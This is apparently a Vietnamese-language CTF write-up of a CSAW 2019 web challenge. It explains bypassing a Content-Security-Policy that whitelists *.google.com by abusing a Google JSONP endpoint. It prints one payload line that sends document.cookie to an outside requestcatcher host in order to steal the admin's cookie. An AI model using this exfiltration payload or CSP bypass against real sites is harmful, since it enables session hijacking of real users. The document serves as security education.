đây là 1 chal web của giải csaw qual 2019, lần đầu mình làm được chuyện ấy =>>

với đề bài đã hint cho ta được là csp thì việc đầu tiên cần làm tất nhiên phải hiểu csp nó hoạt động như thế nào.

CSP: hay còn được gọi là Content-Security-Policy là 1 hình thức được thêm vào nhầm giảm thiểu (mitigate) khả năng web bị XSS(cross-site-scripting) và data injection
lấy thử packet của bài ta sẽ thấy:

well, như ta thấy
default-src ‘self’; srcipt-src ‘self’ *.google.com; connect-src *

là những param của header CSP ,theo OWASP thì:

như vậy ta có thể hiểu được rằng là web cho phép mọi script, file đến từ subdomain của “.google.com”.
hmm, vấn đề quan trọng ở đây thì làm sao ta biết được subdomain nào của google bị lỗi để ta có thể XSS được vào web?
Bây giờ ta hãy dùng extension của google:

dùng với web thì ta thấy được:

hmm, jsonp endpoint???
sau 1 hồi vật vã thì thằng bạn tôi nó phát hiện ra được điều này
rằng thông qua 1 subdomain của google bị dính jsonp thì ta có thể chèn malicious script vào trong đoạn script bị jsonp đó. Đây là link script, tôi sẽ dùng link script này để combine với malicious code. Test script:

well,vậy là script thành công!!!

như vậy thông qua đoạn script đó ta có thể chèn thêm 1 page trung gian để capture được những packet mà từ phía client (users khác) gửi lên web.

vậy là dạng này đang nhờ ta lấy cookie của malicious script sau đó report lên cho admin rồi sau đó admin sẽ gửi cookie về cho mình.

$Tiến hành

sau đây tôi dùng trang trung gian là requestcatcher để capture các packet mà client gửi. Sau đó dùng lệnh location.replace(‘https://d.requestcatcher.com%27%2bdocument.cookie)
chèn vào trong script jsonp, vì đề bài nói flag nằm trong cookie

sau khi submit đoạn script ta được:

ta có thể thấy được referer là như trên, ta hãy đổi thành report số id đó tại page request caught:

Voila

flag{csp_will_solve_EVERYTHING}

happy hacking!!!

a loner